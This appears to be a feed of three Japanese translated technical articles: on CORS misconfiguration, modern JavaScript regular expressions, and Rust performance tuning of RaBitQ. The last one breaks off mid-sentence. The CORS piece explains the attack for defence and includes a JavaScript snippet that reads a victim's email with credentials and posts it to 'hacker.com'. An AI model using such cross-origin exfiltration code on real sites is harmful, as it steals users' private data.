では、他の認証方法を使用する場合はどうでしょうか。例えば、HTTPの「Authorization」ヘッダーで認証トークンを送信するとします。その場合、CORSポリシーはあまり関係ありません。悪意のあるウェブサイトがAjaxリクエストを行っても、ブラウザはリクエストにトークンを追加しません。そのため、悪意のあるウェブサイトは正規のウェブサイトのローカルストレージにアクセスできません。トークンにアクセスできないため、Ajaxのリクエストに含めることができません。あなたのウェブサイトは、何もせずともこの攻撃シナリオからは保護されます。
Cookieによる認証の場合、CORSポリシーが甘いと悪いことが起こる可能性があります。ユーザーが悪意のあるウェブサイトにアクセスした際、以下のような攻撃シナリオが考えられます。
以下のJavaScriptコードのスニペットは、攻撃者がどのようにして被害者のメールを取得し、自分のサーバーに送信するのかを示します。取得したメールはサーバーに保存し、後で参照することができます。
var xhr = new XMLHttpRequest()
xhr.open( 'GET', 'https://gmail.com/emails')
xhr.withCredentials = true
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var xhr2 = new XMLHttpRequest()
xhr2.open( 'POST', 'https://hacker.com/save_emails')
var params = 'emails='+xhttp.responseText;
xhr2.send(params);
}
};
xhr.send();
以下はこのシナリオをイラストで表したものです。
ここで紹介した例は単に説明を目的としたものです。Gmailにはそのような攻撃を防ぐ優れたCORSポリシーがあります。実際に効果を見ていただけるよう、例としてウェブサイトを作成してみました。
この攻撃について説明するため、シンプルで脆弱なウェブサイトを作成しました。このデモサイトは、認証が必要なウェブアプリケーションをシミュレーションします。まず、次のURLにアクセスし、ボタンをクリックしてログインしてください。https://demo.devsecurely.com/demo_cors
ログインしたら、以下のボタンをクリックしてください。先ほどのURLに対し、認証情報を含めたAjaxリクエストが送信されます。
(※訳注:POSTDでは文章の翻訳のみ掲載しています)
[原文:「攻撃開始」ボタン]
Ajaxリクエストの結果が以下に表示されます。
[原文:結果表示エリア]
手順に従うと、あなたのパブリックIPアドレスが上に表示されるはずです。「攻撃開始」ボタンをクリックしたとき、あなたのブラウザは以下のJavaScriptコードを実行しました。
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
if (this.responseText.includes("Your IP address"))
document.getElementById("demo_website_dontent").textContent=this.responseText
else
document.getElementById("demo_website_dontent").textContent="You need to be authenticated first"
}
};
xhttp.open("GET", "https://demo.devsecurely.com/demo_cors", true);
xhttp.withCredentials = true;
xhttp.send();
あなたのブラウザは、HTTPリクエストを直接実行するか、プリフライトリクエストを実行し、CORSポリシーをチェックするかを判断する必要がありました。これは単純なGETリクエストで、カスタムHTTPヘッダーもないのでブラウザは直接リクエストを行いました。こちらが、あなたのブラウザが送信した生のHTTPリクエストです。
これに対し、脆弱なウェブサイトは以下のレスポンスを送り返しました。
次に、ブラウザはJavaScriptコードがレスポンスにアクセスできるようにするかを判断する必要がありました。したがって、CORSポリシーのチェックを行いました。4つの条件をすべて見てみましょう。
CORSのチェックはすべて成功しました。したがって、ブラウザはJavaScriptがレスポンスにアクセスするのを許可します。これにより、このブログが脆弱なウェブサイト上にあるあなたの個人データにアクセスすることが可能になります。
CORSポリシーは、特定のHTTPレスポンスヘッダーによって定義されます。各ヘッダーについて、値が十分に厳格であり、悪意のある活動を防げることを確認する必要があります。また、ポリシーが正当なリクエストをブロックしないようにする必要もあります。各レスポンスヘッダーの値を定義しましょう。
https://api.example.com
にホストされたAPIがあり、そのAPIを呼び出す、https://www.example.com
にホストされたクライアントサイドアプリケーションがあるとします。このシナリオでは、Access-Control-Allow-Originヘッダーには常にhttps://www.example.com
が値として設定されている必要があります。
https://www.example.com
にホストされている場合など)、このヘッダーは定義しません。プリフライトリクエスト(HTTP OPTIONSリクエスト)を受け取った場合、レスポンスヘッダーのみを返し、それ以外の処理は行わないようにする必要があります。
また、これらの変更は徐々に行ってください。各変更を行った後、ウェブサイトが正常に動作していることを確認してください。CORSの設定を厳しくしすぎると、あなたのAPI/ウェブサイト(ウェブサイトのクライアントサイドアプリケーションなど)を呼び出すクライアント側で問題が発生する可能性があります。
先ほど説明したように、ブラウザはCORSポリシーをチェックすることなくリクエストを実行する場合があります。これは、アプリケーションのコンテキストによっては望ましくない可能性があります。
例えば、データを変更するGET APIコントローラーがあるとします。これは、CSRFと呼ばれる攻撃につながる可能性があります。この記事では、このタイプの脆弱性についての詳細な説明は省きますが、この問題についてより具体的に検討するために例を挙げたいと思います。
APIエンドポイントとしてhttps://api.example.com/users/delete/[ID]
があるとします。このエンドポイントに対してGETリクエストを行うと、[ID]をIDとするユーザーがデータベースから削除されます。悪意のあるウェブサイトはこれを悪用する可能性があります。先ほどのURLに対し、認証情報を含めたAjaxリクエストを行うことができます。example.com
の管理者がその悪意のあるウェブサイトにアクセスすると、Ajaxリクエストが実行され、ユーザーが削除されます。
こうした攻撃を防ぐための回避策として、CORSチェックを使用できます。そのためには、リクエストを行う前にCORSチェックを強制する必要があります。GETリクエストの場合、それを行う唯一の方法はカスタムHTTPヘッダーを追加することです。以下に手順を示します。
先ほどのように悪意のあるウェブサイトがユーザーを削除したい場合、AjaxリクエストにカスタムHTTPヘッダーとしてX-Requested-Withを追加する必要があります。そうすることで、あなたのAPIサーバーに対してプリフライトリクエストがトリガーされます。あなたのCORSポリシーが最適な方法で定義されていれば、Access-Control-Allow-Originレスポンスヘッダーに悪意のあるウェブサイトの名前は含まれません。したがって、CORSチェックは失敗し、ブラウザはリクエストを実行しません。
このトリックは、GETとPOST両方のエンドポイントをCSRF攻撃から守ることができます。
ちなみに、GETリクエストを使用してアプリケーションに変更を加えるのは避けるべきです。GETはあくまでもデータを取得するためだけに使用するべきであり、データを変更するために使用するべきではありません。
SOPの仕組みは、最初からクロスオリジンリクエストを防ぐようになっています。したがって、脆弱なCORSポリシーを定義することで自らのウェブサイトを危険な状態に晒すことのないようにしましょう。
アプリケーションの機密性の高さによっては、CORSの設定ミスにより壊滅的な被害を受ける可能性があります。数年前、ある取引プラットフォームの侵入テストを行った際、ウェブサイトのCORSポリシーが非常に甘いことに気づきました。リスクを示すため、サイトの訪問者に特定の株を強制的に買わせる悪意のあるウェブサイトを作成しました。攻撃者はこれを使って顧客に特定の株を強制的に買わせることで、株価を吊り上げることができます。この問題をうまく悪用すれば、億万長者になれます。
犯罪は割りに合わないと言う人たちは、きっとCORSを理解していないのでしょう。
タグ付けされた記事:checklist, CORS, web application security
]]>クイックサマリー:以前は、JavaScriptの正規表現は他の言語の正規表現に比べてパフォーマンスが劣っていたものの、近年改良が重ねられ、他の言語に見劣りしなくなっています。この記事では、Steven Levithan氏がJavaScriptの正規表現の歴史と現状を評価し、より読みやすく、保守性とレジリエンスに優れた正規表現の書き方をアドバイスします。
モダンJavaScriptの正規表現は、皆さんがよく知っている従来の正規表現と比べると随分進化しました。正規表現はテキストを検索して置き換えるツールとして非常に優れている一方で、書くのも理解するのも難しいという根強い評判があります(しかし今から説明するように、この認識は時代遅れかもしれません)。
正規表現に関するこの認識は、JavaScriptに特に当てはまります。PCREやPerl、.NET、Java、Ruby、C++、Pythonといったよりモダンな言語の正規表現に比べてパフォーマンスが劣るJavaScriptの正規表現は、長年人気が低迷していました。しかしそれはもはや過去の話です。
この記事では、JavaScriptの正規表現が経てきた改良の歴史を説明し(ネタバレ:ES2018とES2024が大きな転機となりました)、モダンな正規表現の機能を実例とともに紹介します。さらに、JavaScriptの正規表現を他のモダンな言語の正規表現に匹敵する、あるいは勝るものにした軽量なJavaScriptライブラリについて紹介し、最後にJavaScriptの今後のバージョンで正規表現を改良し続けるために現在検討されている提案をいくつかお見せします(中には現在お使いのブラウザにすでに実装されているものもあります)。
1999年に標準化されたECMAScript 3は、Perl由来の正規表現をJavaScriptに導入しました。大幅な改良が加わり、正規表現はかなり便利になりましたが(他のほとんどのPerl由来の正規表現とも互換性を得ました)、それでもいくつか大きな漏れがありました。JavaScriptの次に標準化されたバージョンであるES5が登場するまで10年かかりましたが、その間に他のプログラミング言語と正規表現の実装にいくつか便利な機能が新たに追加され、それらの正規表現はより強力で読みやすくなりました。
しかしそれは当時の話です。
JavaScriptの新しいバージョンが出ると、ほぼ毎回正規表現に何らかの改良が行われていたことをご存知でしたか?
では実際に見てみましょう。
以下の機能の中には理解しにくいものもあるかもしれませんが、ご心配なく。主要な機能のいくつかは後で詳しく説明します。
/[/]/
)。y
(sticky
)と、厳格なエラーとともにUnicode関連のいくつかの重要な改良を追加したu
(unicode
)です。また、RegExp.prototype.flags
ゲッター、RegExp
のサブクラス化対応、フラグを変更しながら正規表現をコピーする機能も追加されました。s
(dotAll
)フラグ、後読み、名前付きキャプチャ、Unicodeプロパティ(ES6のu
フラグを必要とする\p{...}
と\P{...}
により指定)が追加されました。後で説明するように、これらはすべて極めて便利な機能です。matchAll
が追加されました。これについても後ほど説明します。d
(hasIndices
)フラグが追加されました。u
フラグのアップグレードとしてv
(unicodeSets
)フラグが追加されました。v
フラグは、複数文字による一連の「文字列プロパティ」を\p{...}
に追加し、\p{...}
と\q{...}
を使用して文字クラス内に複数文字のエレメントを追加するほか、ネストした文字クラス、差集合[A--B]
、積集合[A&&B]
を追加し、文字クラス内に異なるエスケープ規則を追加します。また、否定集合[^...]
内におけるUnicodeプロパティの大文字と小文字を区別しないマッチングも修正されました。これらの機能は、現時点で安全にコードに組み込むことが可能です。これらの中で最新の機能であるv
フラグは、Node.js 20および2023年世代のブラウザでサポートされています。その他の機能は2021年以前のブラウザでサポートされています。
ES2019からES2023までの各エディションでは、\p{...}
と\P{...}
により指定可能なUnicodeプロパティも新たに追加されています。さらに、ES2021では文字列メソッドreplaceAll
も追加されました。ただし、正規表現を渡された際の挙動でES3のreplace
と唯一異なる点は、g
フラグを使用していない場合に例外をスローすることです。
これらの変更が実装された今、JavaScriptの正規表現は他の正規表現と比べてどうなのでしょうか。考え方は色々ありますが、主な要素を以下に挙げます。
パフォーマンス
これは重要な要素ではありますが、成熟した正規表現の実装は概ねかなり速いので、最も重要ではないかもしれません。JavaScriptは正規表現のパフォーマンスは強力ですが(少なくとも、Node.js、Chromiumベースのブラウザ、さらにはFirefoxで採用されているV8のIrregexpエンジンや、Safariで使われているJavaScriptCoreでは優れています)、バックトラッキングを制御する構文を一切持たないバックトラッキングエンジンを使用している点が大きな制約であり、ReDoSの脆弱性が広がる要因になっています。
一般的または重要なユースケースを扱う先進機能への対応
JavaScriptはES2018とES2024で先進機能への対応が大きく進みました。後読み(無限の長さに対応)やUnicodeプロパティ(複数文字による「文字列プロパティ」、差集合、積集合、スクリプト拡張機能に対応)など一部の機能において、JavaScriptは今やクラス最高レベルです。これらの機能は、他の多くの正規表現でサポートされていないか、堅牢性が劣ります。
読みやすく保守性に優れたパターンを書ける
ネイティブのJavaScriptは、この点で長年主要な言語の中で最低の評価を受けてきました。その理由は、ちょっとした空白やコメントを入力できるようにするx
(拡張)フラグが欠けているからです。正規表現のサブルーチンとサブルーチン定義グループ(PCREとPerlの機能)は、文法的に正しい正規表現を書き、合成により複雑なパターンを構築することを可能にする強力な機能ですが、これらもありません。
つまり、良い面も悪い面もあるということです。
JavaScriptの正規表現は極めて強力になりましたが、正規表現をより安全で、読みやすく、保守しやすくできる重要な機能がまだ欠けています(これは、その力を利用するのをためらう理由にもなっています)
(訳注:原文同様 XへのPOSTリンクとなっています)
幸い、これらの穴はすべてJavaScriptライブラリによって埋めることができます。それについては後ほど説明します。
皆さんがあまり知らないかもしれない、もっと便利なモダン正規表現機能をいくつかご紹介します。先に言っておきますが、これはやや上級者向けのガイドです。正規表現を使い始めてまだ日が浅い方は、手始めに以下の素晴らしいチュートリアルをご覧いただくといいかもしれません。
正規表現が一致するかどうかを確認するだけでなく、一致する文字列からサブ文字列を抽出し、コード上で何らかの操作を行いたい場合も多いでしょう。名前付きキャプチャグループを使うことで、正規表現とコードがより読みやすくなり、自己文書化するような方法でそれを行うことができます。
以下の例では、2つの日付を持つレコードをマッチングさせ、値を取得します。
const record = 'Admitted: 2024-01-01\nReleased: 2024-01-03';
const re = /^Admitted: (?<admitted>\d{4}-\d{2}-\d{2})\nReleased: (?<released>\d{4}-\d{2}-\d{2})$/;
const match = record.match(re);
console.log(match.groups);
/* → {
admitted: '2024-01-01',
released: '2024-01-03'
} */
この正規表現を理解できなくても大丈夫です。これをもっと読みやすくする方法を後で説明します。ここで重要なのは、名前付きキャプチャグループが(?<name>...)
構文を使用し、マッチした文字列のgroups
オブジェクト上にその結果が格納されるということです。
また、名前付き後方参照を使用して、名前付きキャプチャグループが\k<name>
によりマッチングした文字列を再度マッチングすることもでき、検索や置換の中でそれらの値を以下のように使用することができます。
// Change 'FirstName LastName' to 'LastName, FirstName'
const name = 'Shaquille Oatmeal';
name.replace(/(?<first>\w+) (?<last>\w+)/, '$<last>, $<first>');
// → 'Oatmeal, Shaquille'
置換コールバック関数内で名前付き後方参照を使用したい上級者は、最後の引数としてgroups
オブジェクトを指定します。以下に例を挙げます。
function fahrenheitToCelsius(str) {
const re = /(?<degrees>-?\d+(\.\d+)?)F\b/g;
return str.replace(re, (...args) => {
const groups = args.at(-1);
return Math.round((groups.degrees - 32) * 5/9) + 'C';
});
}
fahrenheitToCelsius('98.6F');
// → '37C'
fahrenheitToCelsius('May 9 high is 40F and low is 21F');
// → 'May 9 high is 4C and low is -6C'
後読み(ES2018で導入)は、JavaScriptの正規表現で以前からサポートされていた先読みを補完する機能です。先読みと後読みはアサーション(文字列の始まりを示す^
や、単語の境界を示す\b
と似ています)であり、マッチの過程で文字を一切消費しません。後読みは、サブパターンが現在のマッチ位置の直前に見つかるかどうかで成否が決まります。
例えば、以下の正規表現は後読み(?<=...)
を使用して、「fat」の後に続く「cat」という単語(「cat」という単語のみ)をマッチングします。
const re = /(?<=fat )cat/g;
'cat, fat cat, brat cat'.replace(re, 'pigeon');
// → 'cat, fat pigeon, brat cat'
また、否定後読み(?<!...)
を使用してアサーションを反転させることもできます。そうすることで、正規表現は前に「fat」が付かないすべての「cat」をマッチングするようになります。
const re = /(?<!fat )cat/g;
'cat, fat cat, brat cat'.replace(re, 'pigeon');
// → 'pigeon, fat cat, brat pigeon'
後読みの実装はJavaScriptのものが最も優れています(匹敵するのは.NETだけです)。他の正規表現は後読みの中に可変長パターンを認めるかどうか、いつ認めるかについて一貫性のない複雑な規則を設けていますが、JavaScriptはあらゆるサブパターンについて後読みを認めています。
matchAll
メソッド #ES2020ではJavaScriptのString.prototype.matchAll
が追加され、詳細なマッチ情報が必要な場合に正規表現マッチをループで実行しやすくなりました。以前は他の方法も利用できましたが、matchAll
の方が容易な場合が多く、長さゼロのマッチを返す可能性がある正規表現の結果に対してループ実行する際に無限ループに陥らないようにするなど、落とし穴も回避します。
matchAll
はイテレータ(配列ではなく)を返すため、for...of
ループにおいて使いやすいという利点があります。
const re = /(?<char1>\w)(?<char2>\w)/g;
for (const match of str.matchAll(re)) {
const {char1, char2} = match.groups;
// Print each complete match and matched subpatterns
console.log(`Matched "${match[0]}" with "${char1}" and "${char2}"`);
}
注:正規表現でmatchAll
を使用する場合、g
フラグ(global
)が必須となります。また、他のイテレータと同様にArray.from
または配列スプレッドを使用してすべての結果を配列として受け取ることも可能です。
const matches = [...str.matchAll(/./g)];
Unicodeプロパティ(ES2018で追加)は、\p{...}
構文とその否定形である`P{...}`を使用することで多言語テキストを強力に制御することを可能にします。マッチングできるプロパティは数百に及び、多岐にわたるUnicodeのカテゴリ、スクリプト、スクリプト拡張機能、バイナリプロパティを網羅します。
注:詳細についてはMDNのドキュメントをご覧ください。
Unicodeプロパティではu
(unicode
)またはv
(unicodeSets
)フラグの使用が必須です。
v
フラグ #v
(unicodeSets
)フラグは、u
フラグのアップグレードとしてES2024で追加されました。これらのフラグを同時に使用することはできません。デフォルトのUnicode非対応モードでひそかにバグが紛れ込まないよう、ベストプラクティスとしていずれかのフラグを常に使用することが推奨されます。どちらを使用するかの判断は極めて単純です。v
フラグの環境(Node.js 20および2023年世代のブラウザ)のみのサポートで問題なければv
フラグを使用し、それ以外の場合はu
フラグを使用します。
v
フラグが実装されたことで、いくつかの新しい正規表現機能が追加されました。中でも特筆すべきなのが差集合と積集合です。これにより、A--B
(文字クラス内)を使用してAの文字列はマッチングし、Bの文字列はマッチングしないとか、A&&B
を使用してAとB両方の文字列をマッチングすることが可能になります。以下の例をご覧ください。
// Matches all Greek symbols except the letter 'π'
/[\p{Script_Extensions=Greek}--π]/v
// Matches only Greek letters
/[\p{Script_Extensions=Greek}&&\p{Letter}]/v
v
フラグに関する詳細や、vフラグの他の新機能については、Google Chromeチームによるこちらの説明をご覧ください。
絵文字とは🤩🔥😎👌などのことですが、絵文字がテキスト上で符号化される方法は複雑です。正規表現で絵文字をマッチングしたい場合、1つの絵文字が1つのUnicodeコードポイントで構成されることもあれば、多くのUnicodeコードポイントで構成されることもあることを認識しておくことが重要です。絵文字の正規表現を独自に展開する多くの人(ライブラリもです!)がこの点を見落とし(あるいは適切に実装しておらず)、バグを発生させてしまっています。
「👩🏻🏫」(女性教師:明るい肌の色)の絵文字に関する以下の詳細は、絵文字がいかに複雑になり得るかを示しています。
// Code unit length
'👩🏻🏫'.length;
// → 7
// Each astral code point (above \uFFFF) is divided into high and low surrogates
// Code point length
[...'👩🏻🏫'].length;
// → 4
// These four code points are: \u{1F469} \u{1F3FB} \u{200D} \u{1F3EB}
// \u{1F469} combined with \u{1F3FB} is '👩🏻'
// \u{200D} is a Zero-Width Joiner
// \u{1F3EB} is '🏫'
// Grapheme cluster length (user-perceived characters)
[...new Intl.Segmenter().segment('👩🏻🏫')].length;
// → 1
幸い、JavaScriptは\p{RGI_Emoji}
により任意の完全な絵文字を個別にマッチングできる簡単な方法を追加しました。これは一度に複数のコードポイントをマッチングできる高度な「文字列プロパティ」のため、ES2024のv
フラグが必要になります。
v
フラグに対応していない環境で絵文字のマッチングを行いたい場合は、emoji-regexとemoji-regex-xsの2つの素晴らしいライブラリをチェックしてみてください。
正規表現機能は長年にわたり改良を重ねてきましたが、ネイティブのJavaScriptの正規表現は、複雑なものになると読むにしろ保守するにしろ、まだ難しい場合があります。
Regular Expressions are SO EASY!!!! pic.twitter.com/q4GSpbJRbZ
— Garabato Kid (@garabatokid) July 5, 2019
ES2018で追加された名前付きキャプチャは、正規表現の自己文書化を推し進めた素晴らしい機能であり、ES6のString.raw
タグにより、RegExp
コンストラクタを使用する際にバックスラッシュをすべてエスケープ処理する必要がなくなりました。可読性に関する主な改良はそれくらいです。
しかし、regex
という名前の軽量で高性能なJavaScriptライブラリ(筆者作)があり、これを使用することで正規表現が劇的に読みやすくなります。このライブラリは、欠けている主な機能をPCRE(Perl-Compatible Regular Expressions)から追加し、ネイティブのJavaScriptの正規表現を出力することで可読性の向上を実現しています。Babelのプラグインとして使用することもできるため、ビルド時にregex
の呼び出しがトランスパイルされます。したがって、デベロッパーエクスペリエンスが改善され、ユーザーにランタイムコストがかかることもありません。
PCREは、PHPが正規表現のサポートに使用している人気のCライブラリで、他の無数のプログラミング言語やツールで使用されています。
regex
という名前のタグ付きテンプレートリレラルを提供するregexライブラリが、どのようにしてわかりやすく保守しやすい複雑な正規表現を書く手助けをするのか、簡単に説明します。以下で説明する新しい構文は、すべてPCREで同様に機能します。
regex
は、デフォルトで空白や行コメント(#
で始まる)を自由に正規表現に追加できるようにすることで、可読性を改善しています。
import {regex} from 'regex';
const date = regex`
# Match a date in YYYY-MM-DD format
(?<year> \d{4}) - # Year part
(?<month> \d{2}) - # Month part
(?<day> \d{2}) # Day part
`;
これは、PCREのxx
フラグを使用するのと同じです。
サブルーチンは\g<name>
(nameは名前付きグループを指します)のように書き、参照されたグループを独立したサブパターンとして扱い、現在の位置でマッチしようとします。これにより、サブパターンの合成と再利用が可能になり、可読性と保守性が改善されます。
例えば、以下の正規表現は「192.168.12.123」のようなIPv4のアドレスとマッチします。
import {regex} from 'regex';
const ipv4 = regex`\b
(?<byte> 25[0-5] | 2[0-4]\d | 1\d\d | [1-9]?\d)
# Match the remaining 3 dot-separated bytes
(\. \g<byte>){3}
\b`;
さらに、サブルーチン定義グループを通じて参照のみで使用するサブパターンを定義することができます。こちらは先ほど見た名前付きキャプチャの項目の正規表現の改善例です。
const record = 'Admitted: 2024-01-01\nReleased: 2024-01-03';
const re = regex`
^ Admitted:\ (?<admitted> \g<date>) \n
Released:\ (?<released> \g<date>) $
(?(DEFINE)
(?<date> \g<year>-\g<month>-\g<day>)
(?<year> \d{4})
(?<month> \d{2})
(?<day> \d{2})
)
`;
const match = record.match(re);
console.log(match.groups);
/* → {
admitted: '2024-01-01',
released: '2024-01-03'
} */
regex
にはデフォルトでv
フラグが含まれているため、有効化し忘れることがありません。また、ネイティブのv
フラグをサポートしていない環境では、自動的にu
フラグに切り替わりつつも、v
フラグのエスケープ規則を適用し、正規表現の前方互換性と後方互換性を確保します。
また、エミュレートされたx
(ちょっとした空白とコメント)およびn
(「名前付きキャプチャのみ」モード)フラグをデフォルトで暗黙的に有効化するため、毎回これらの上位モードを選択する必要がありません。さらに、タグ付きテンプレートリテラルであるため、RegExp
コンストラクタの場合のようにバックスラッシュ\\\\
をエスケープ処理する必要がありません。
アトミックグループと絶対最大量指定子も、regex
ライブラリで追加された強力な機能です。これらは主にパフォーマンスと破壊的なバックトラック(ReDoSとも呼ばれ、特定の正規表現が特定の、あまり一致しない文字列を検索する際に膨大な時間がかかる深刻な問題)に対するレジリエンスに関する機能ですが、より単純なパターンを書けるようにすることで可読性も改善します。
注:詳しくはregex
のドキュメントをご覧ください。
JavaScriptの正規表現を改良するための様々な提案が現在検討されています。JavaScriptの将来バージョンに組み込まれる見込みの高い3つの提案について以下にご紹介します。
これはステージ3(最終化間近)の改良案です。さらに良いことに、直近の情報によるとこの改良はすべての主要ブラウザで機能します。
名前付きキャプチャが最初に導入された際、すべての(?<name>...)
キャプチャで一意の名前を使用することが求められました。しかし、正規表現には複数の代替パスがある場合もあり、それぞれのパスで同じグループ名を使用した方がコードを単純化できます。
以下の例をご覧ください。
/(?<year>\d{4})-\d\d|\d\d-(?<year>\d{4})/
この改良案は、まさにこの例の構文を可能にするもので、このような構文で「重複するキャプチャグループ名」エラーが発生するのを防ぎます。ただし、各代替パスの中では引き続き一意の名前を使用する必要があります。
こちらもステージ3の改良案です。Chrome/Edge 125およびOpera 111ではすでにサポートされており、近々Firefoxでもサポートされる予定です。Safariについては今のところ不明です。
パターン修飾子は(?ims:...)
、(?-ims:...)
、(?im-s:...)
のいずれかを使用し、正規表現の特定の部分のみについてi
、m
、s
フラグのオンとオフを切り替えます。
以下の例をご覧ください。
/hello-(?i:world)/
// Matches 'hello-WORLD' but not 'HELLO-WORLD'
RegExp.escape
による正規表現の特殊文字のエスケープ処理 #この改良案は、長い時間を経てようやく最近ステージ3に到達しました。まだどの主要ブラウザも対応していません。謳い文句どおりRegExp.escape(str)
関数を提供することで、正規表現の特殊文字がすべてエスケープ処理された状態で文字列を返し、リテラル文字列としてマッチングすることを可能にします。
この機能がすぐに必要な場合、escape-string-regexpが最も広く使われているパッケージです(毎月5億回以上ダウンロードされています)。このnpmパッケージは、最低限のエスケープ処理を行う超軽量の専用ユーティリティです。ほとんどのケースではこれで十分ですが、エスケープ処理を行った文字列が正規表現内のどの位置でも安全に使用できることを確認する必要がある場合、escape-string-regexp
はこの記事ですでに紹介したregex
ライブラリを推奨しています。regex
ライブラリは、埋め込み文字列のエスケープ処理を補間により、コンテクストを意識した方法で行います。
この記事では、JavaScriptの正規表現の過去、現在、そして未来についてお話しました。
正規表現についてさらに詳しく学びたい方は、Awesome Regexに優れた正規表現テスター、チュートリアル、ライブラリ、その他のリソースが紹介されているのでぜひご覧ください。正規表現のクロスワードパズルに挑戦してみたい方は、regexleをお試しください。
皆さんの実りある構文解析と正規表現の可読性向上の一助になれば幸いです。
]]>最近、筆者はRaBitQという新しい近似最近傍探索アルゴリズムを使ったさまざまな試みを行っています。このアルゴリズムを提案した論文の著者はすでにC++実装を提供しており、実行速度はかなり速いです。筆者はこれをRustに書き換えようとしました(いわゆるRiiR(Rewrite it in Rust)です)が、実装結果は元のアルゴリズムよりも大幅に遅いことが判明しました。この記事では、アルゴリズムのパフォーマンスを段階的に改善する方法をご紹介します。
最も重要なのは、適当なデータセットをいくつか用意することです。前述の論文では、sift_dim128_1m_l2
とgist_dim960_1m_l2
という2つのデータセットについての結果が示されています。このデータセットでは、128項目と960項目というのがよく使われるサイズであり、1,000,000個のデータポイント(ベクトル)があれば性能を測るのに十分だということです。つまり、これらのデータセットを使うことで、アルゴリズムの性能をしっかりと評価できるということです。データセットはこちらからダウンロードできます。(こちらのサイトはTLSに対応しておらず、FTPダウンロードしか提供していません。)
これらのデータセットは、一般的なベクトル形式であるfvecs/ivecs
を使用しています。
| dim (4 bytes) | vector (4 * dim bytes) |
| dim (4 bytes) | vector (4 * dim bytes) |
...
| dim (4 bytes) | vector (4 * dim bytes) |
読み取り/書き込み用のスクリプトは筆者のGistから取得できます。
Rustコードのプロファイリングにはsamplyを使用しています。このツールはFirefox Profilerに追加して使用できます。プロファイリングの結果は、クラウドにアップロードすることで他者と共有することもできます。こちらはGistで公開されているC++版のプロファイリング例です。ビューはFlameGraphとCallTreeが最も一般的です。パフォーマンスイベント権限を付与し、mlockの上限を増やす必要があります。
echo '1' | sudo tee /proc/sys/kernel/perf_event_paranoid
sudo sysctl kernel.perf_event_mlock_kb=2048
GodBoltのCompiler Explorerも、C++とRustの関数のアセンブリコードを比較するのに役立ちます。
リリースビルドにデバッグ情報を含めるには、Cargo.toml
に新たなプロファイルを追加します。
[profile.perf]
inherits = "release"
debug = true
codegen-units = 16
コンパイルコストとランタイム速度は、プロファイリングにおけるユーザーエクスペリエンスを大きく左右します。
cargo build
はコンパイル速度は速いものの、Pythonよりもコードの実行速度は遅い場合があるcargo build --release
は、コードの実行速度は速いものの、コンパイルには時間がかかる場合がある
ベンチマーキングにはopt-level = 3
を使用することを推奨します。
以下の設定の使用が推奨されているのを目にしましたが、筆者の場合はコンパイル速度が遅くなり、パフォーマンスの改善は全く見られませんでした。codegen-units = 1
lto = "fat"
panic = "abort"
Criterionは、統計に基づく優れたベンチマークツールです。関連するベンチマークコードをすべて格納するために、新たなリポジトリを作成しました。ベンチマークコードは同じリポジトリに入れる必要があるようです。
注目すべき点として、ベンチマークの結果はあまり安定していません。筆者の場合はコードに手を加えていない状態で±10%
の差異が見られました。ノートパソコンを使用している場合、高温によりCPUがアンダークロックし、さらに差異が広がる可能性があります。
関数のベンチマークには、いくつかの異なるパラメータを使用することをおすすめします。この場合、筆者は異なる項目のベクトルを使用します。すべての項目の結果がプラスであれば、通常は改善が効果的であることを意味します。
最初からいくつかの指標を追加しましょう。指標をチェックすることで、多くのバグやパフォーマンスの問題を見つけることができます。筆者は、現行の要件が単純であるため直接AtomicU64
を使用していますが、後でPrometheusを使った指標に移行するかもしれません。
指標/ロギング/トレースが多すぎるとパフォーマンスに影響が出る可能性があるため、これらを追加する際には注意してください。
ベンチマークの際に、筆者はエンドツーエンドのQPSが極めて不安定であることに気がつきました。コードを再コンパイルしていなくても、翌朝にはベンチマークの結果に15%の改善または悪化が見られる場合もあります。また、筆者はVSCodeの拡張機能「rust-analyzer」を使用しているため、CPUが完全にアイドル状態ではなく、CPUの使用率は低いもののベンチマークの結果に大きな影響を及ぼすことが分かりました。ちなみに、筆者は8つの高性能コアと8つの高効率コアで構成されたIntel Core i7-13700Kを使用しており、プログラムはシングルスレッドです。
筆者はtaskset
を使用してプロセスを実行するCPUを指定しています。そうすることで、種類の異なるコアのスケジューリングの影響を受けることはありません。
第13〜14世代のIntel Core CPUは電圧が非常に高いため不安定です。筆者はこの問題をBIOSで修正しました。
クラウドの仮想マシンはCPU温度の影響を受けないかもしれませんが、クラウドプロバイダーにはCPUのスロットリングやオーバーコミットに関する独自のポリシーがある場合があります。
筆者の最初のリリースは、nalgebraという代数ライブラリをベースにRaBitQアルゴリズムを実装しました。主な理由は、RaBitQアルゴリズムにおいて重要なステップである直交行列を取得するためにQR分解を使う必要があるからです。また、成熟した線形代数ライブラリは行列やベクトルを操作するのに役立つ関数を多く提供するため、アルゴリズムを実装しやすいという利点もあります。Pythonでnumpy
を使わずに行列の乗算、射影、分解に関するアルゴリズムを実装することを考えてみてください。まさに悪夢です。
nalgebra
はこのようなシナリオ向けに最適化されているため、パフォーマンスは良いはずだと考えました。しかし、ベンチマークは筆者の予想よりもかなり遅い結果となりました。numpy
で再実装した方がはるかに速いでしょう:(
プロファイリングによると、f32::clone()
の呼び出しが多数あります。全体の時間の約33%を占めており、query_one
関数に注目すると44%となります。この結果から、一部のベクトルについてメモリを事前に割り当て、同じイテレーション内で再利用するという非常に一般的な裏技が使えることが分かります。したがって、(x - y).norm_squared()
を使う代わりに、(x - y)
の結果を格納する別のベクトルをあらかじめ宣言する必要があり、結果的にx.sub_to(y, &mut z); z.norm_squared()
となります。コミット23f9affをご覧ください。
ほとんどの代数ライブラリと同様に、このベクトルは列優先で行列を格納するため、行よりも列に対して処理を順番に繰り返し実行した方が速いことを意味します。イテレーションの前に行列を転置しなくてはならないのは少し面倒であり、ベクトルと行列の乗算がすべてコンパイル時に項目のミスマッチエラー(1 x dyn
またはdyn x 1
)を検出できるとは限りません。
RaBitQは、バイナリの内積距離を用いておおよその距離を推定します。距離は以下により計算します。
fn binary_dot_product(x: &[u64], y: &[u64]) -> u32 {
assert_eq!(x.len(), y.len());
let mut res = 0;
for i in 0..x.len() {
res += (x[i] & y[i]).count_ones();
}
res
}
ここでは、u64::count_ones()
は組み込み関数であるため、通常は特別な設定なしで使用できると考えましたが、実際にはコンパイル時にpopcnt機能を有効化する必要があります。RUSTFLAGS="-C target-feature=+popcnt"
を使うことで有効化できますが、筆者はRUSTFLAGS="-C target-cpu=native"
